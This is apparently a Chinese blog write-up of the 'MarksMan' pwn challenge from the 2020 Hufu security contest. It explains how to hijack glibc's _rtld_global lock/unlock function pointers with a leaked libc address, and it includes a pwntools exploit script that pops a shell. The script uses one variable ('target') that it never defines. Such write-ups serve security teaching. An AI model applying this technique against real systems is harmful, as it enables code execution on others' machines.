虎符网安大赛2020
虎符网安大赛2020
MarksMan
程序逻辑清晰,puts地址白给。提供一个地址连续三个字节写。
此处无故开启dlopen,猜测出题人为了利用里面的关键函数而强行给出的。gdb跟进去调试。
根据函数名称可知,调用了加锁函数。那么想必后面肯定有解锁。
这里调用了指针函数,指针位于数据段,可写。
再往下调试,果然,遇见了解锁函数。
发现此时rdi指向的 _rtld_global+2312
,此处可写。计算得到 lock 函数与此处距离1528个字节。
看一下其他地方有无调用这个加锁解锁函数。
给这两个地方下断。
程序退出调用exit后,会执行到加锁函数。那么攻击思路就浮出水面了。
-
篡改函数指针
_rtld_global._dl_rtld_unlock_recursive
为gets
-
向rdi写入
/bin/sh\x00
+ padding + system。 这样可覆盖_rtld_global._dl_rtld_lock_recursive
。
exp
from pwn import *
import primedbg
import sys
context.arch='amd64'
z=process('./chall')
libc=ELF('./libc.so.6',False)
z.recvuntil(' near: ')
if len(sys.argv)>1:
sub_script=[
'directory glibc-2.27/stdlib/',
# 'directory glibc-2.27/elf',
#'b *_dl_open+60'
'b *_dl_open+236 \n',
#b *rtld_lock_default_lock_recursive\n,
]
script='\n'.join(sub_script)+'\n'
primedbg.attach_dbg_pie(z,[0xd63],[],script)
#call rdx 274495
# 0x7f1a42b4ca09 <_dl_fini+105> call qword ptr [rip + 0x218551] #6314505
puts_adr=int(z.recv(14),16)
lib_base=puts_adr-0x809c0
func_ptr=lib_base+ 8511336 #_rtld_global._dl_rtld_unlock_recursive
gets_adr=lib_base+0x800b0
sys_adr=lib_base+0x4f440
one=gets_adr
o1=one&0xff
o2=(one&0xff00)>>8
o3=(one&0xff0000)>>16
success('one_gadgets: %x\n(%x,%x,%x)'%(one,o1,o2,o3))
success('libc: %#x\ngets: %#x'%(lib_base,gets_adr))
z.sendlineafter('t!shoot!',str(target))
z.sendlineafter('iang!\n',chr(o1))
z.sendlineafter('iang!\n',chr(o2))
z.sendlineafter('iang!\n',chr((o3)))
payload= '/bin/sh\x00'+p64(0x0)*190+p64(sys_adr) # write _rtld_global._dl_rtld_lock_recursive
sleep(0.1)
z.sendline(payload)
z.interactive()
# 0x7fbabaf51f60 _rtld_global+3840 _rtld_global._dl_rtld_lock_recursive
# 0x7fbabaf51f68 <_rtld_global+3848> _rtld_global._dl_rtld_unlock_recursive
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。
文章标题:虎符网安大赛2020
本文作者:枫云李
发布时间:2020-04-23, 12:50:42
最后更新:2020-04-23, 13:54:57
原始链接:https://primelyw.github.io/2020/04/23/%E8%99%8E%E7%AC%A6%E7%BD%91%E5%AE%89%E5%A4%A7%E8%B5%9B2020/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。